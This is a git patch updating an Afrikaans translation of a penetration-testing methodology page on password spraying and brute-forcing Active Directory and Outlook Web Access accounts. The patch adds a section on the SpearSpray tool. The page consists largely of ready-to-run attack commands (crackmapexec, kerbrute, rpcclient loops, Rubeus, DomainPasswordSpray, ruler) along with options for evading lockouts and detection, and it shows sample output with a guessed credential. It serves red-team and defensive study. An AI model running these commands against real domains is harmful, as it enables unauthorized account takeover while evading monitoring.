From b8ee316e732f4e83360c5ce868f1129c721d160c Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 26 Aug 2025 18:10:32 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/pass --- .../password-spraying.md | 102 +++++++++++++++--- 1 file changed, 86 insertions(+), 16 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 8f8d45598..a25fd4511 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -1,20 +1,20 @@ -# Wachtwoord Spuiting / Brute Force +# Password Spraying / Brute Force {{#include ../../banners/hacktricks-training.md}} -## **Wachtwoord Spuiting** +## **Password Spraying** -Sodra jy verskeie **geldige gebruikersname** gevind het, kan jy die mees **gewone wagwoorde** probeer (hou die wagwoordbeleid van die omgewing in gedagte) met elkeen van die ontdekte gebruikers.\ -Deur **standaard** is die **minimum** **wagwoord** **lengte** **7**. +Sodra jy verskeie **valid usernames** gevind het, kan jy die mees **common passwords** probeer (hou die password policy van die omgewing in gedagte) vir elkeen van die ontdekte gebruikers.\ +By **default** is die **minimum** **password** **length** **7**. -Lyste van algemene gebruikersname kan ook nuttig wees: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Lyste van common usernames kan ook nuttig wees: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Let daarop dat jy **sekere rekeninge kan sluit as jy verskeie verkeerde wagwoorde probeer** (deur standaard meer as 10). +Let wel dat jy sommige rekeninge kan lockout as jy verskeie wrong passwords probeer (by default meer as 10). -### Kry wagwoordbeleid +### Get password policy -As jy 'n paar gebruikersakkrediteer of 'n shell as 'n domeingebruiker het, kan jy **die wagwoordbeleid kry met**: +As jy user credentials of 'n shell as 'n domain user het kan jy **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,7 +31,7 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Exploitatie vanaf Linux (of alles) +### Exploitation van Linux (of almal) - Gebruik **crackmapexec:** ```bash @@ -47,11 +47,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(jy kan die aantal pogings aandui om vergrendeling te vermy):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(jy kan die aantal pogings aandui om lockouts te voorkom):**_ ```bash spray.sh -smb ``` -- Gebruik [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE AANBEVEEL NIE, WERK SOMTYDS NIE +- Gebruik [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE AANBEVELEN - SOMS WERK DIT NIE ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -60,14 +60,14 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123 ![](<../../images/image (745).png>) -- Deur **rpcclient** te gebruik: +- Met behulp van **rpcclient**: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` -#### Van Windows +#### Vanaf Windows - Met [Rubeus](https://github.com/Zer1t0/Rubeus) weergawe met brute module: ```bash @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Met [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Dit kan gebruikers uit die domein genereer volgens die verstek en dit sal die wagwoordbeleid van die domein verkry en pogings volgens dit beperk): +- Met [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Dit kan standaard gebruikers uit die domein genereer en dit sal die wagwoordbeleid van die domein haal en pogings daarvolgens beperk): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -89,17 +89,82 @@ Invoke-SprayEmptyPassword ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` +### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) + +Kerberos pre-auth–based spraying verminder geraas teen SMB/NTLM/LDAP bind-pogings en stem beter ooreen met AD se lockout-beleid. SpearSpray kombineer LDAP-gedrewe targeting, 'n patroon-enjin, en beleidsbewustheid (domain policy + PSOs + badPwdCount buffer) om presies en veilig te spray. Dit kan ook gekompromitteerde principals in Neo4j tag vir BloodHound pathing. + +Key ideas: +- LDAP-gebruikersontdekking met paging en LDAPS-ondersteuning, opsioneel met aangepaste LDAP-filters. +- Domain lockout policy + PSO-aware filtering om 'n konfigureerbare poging-buffer (threshold) oor te laat en te voorkom dat gebruikers geblokkeer word. +- Kerberos pre-auth validering met vinnige gssapi bindings (genereer 4768/4771 op DCs in plaas van 4625). +- Patroon-gebaseerde, per-gebruiker wagwoordgenerering met veranderlikes soos name en temporale waardes afgelei van elke gebruiker se pwdLastSet. +- Deursetbeheer met threads, jitter, en maksimum versoeke per sekonde. +- Opsionele Neo4j-integrasie om owned users vir BloodHound te merk. + +Basic usage and discovery: +```bash +# List available pattern variables +spearspray -l + +# Basic run (LDAP bind over TCP/389) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local + +# LDAPS (TCP/636) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl +``` +Teiken- en patroonbeheer: +```bash +# Custom LDAP filter (e.g., target specific OU/attributes) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ +-q "(&(objectCategory=person)(objectClass=user)(department=IT))" + +# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME +``` +Stealth en veiligheidskontroles: +```bash +# Control concurrency, add jitter, and cap request rate +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 + +# Leave N attempts in reserve before lockout (default threshold: 2) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 +``` +Neo4j/BloodHound verryking: +```bash +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 +``` +Oorsig van die patroonstelsel (patterns.txt): +```text +# Example templates consuming per-user attributes and temporal context +{name}{separator}{year}{suffix} +{month_en}{separator}{short_year}{suffix} +{season_en}{separator}{year}{suffix} +{samaccountname} +{extra}{separator}{year}{suffix} +``` +Beskikbare veranderlikes sluit in: +- {name}, {samaccountname} +- Tydelike waardes vanaf elke gebruiker se pwdLastSet (of whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Samestellingshelpers en org token: {separator}, {suffix}, {extra} + +Bedryfsnotas: +- Gee voorkeur aan navraag by die PDC-emulator met -dc om die mees gesaghebbende badPwdCount en beleidverwante inligting te lees. +- badPwdCount-herstellings word geaktiveer by die volgende poging na die waarnemingsvenster; gebruik drempel en tydsberekening om veilig te bly. +- Kerberos pre-auth pogings verskyn as 4768/4771 in DC-telemetrie; gebruik jitter en rate-limiting om in te pas. + +> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. + ## Outlook Web Access Daar is verskeie gereedskap vir p**assword spraying outlook**. - Met [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- met [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) +- Met [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) - Met [Ruler](https://github.com/sensepost/ruler) (betroubaar!) - Met [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Met [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Om enige van hierdie gereedskap te gebruik, benodig jy 'n gebruikerslys en 'n wagwoord / 'n klein lys van wagwoorde om te spray. +Om enige van hierdie gereedskap te gebruik, benodig jy 'n user list en 'n password / 'n klein lys van passwords om te spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -120,6 +185,11 @@ Om enige van hierdie gereedskap te gebruik, benodig jy 'n gebruikerslys en 'n wa ## Verwysings +- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) +- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) +- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray) +- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound) +- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)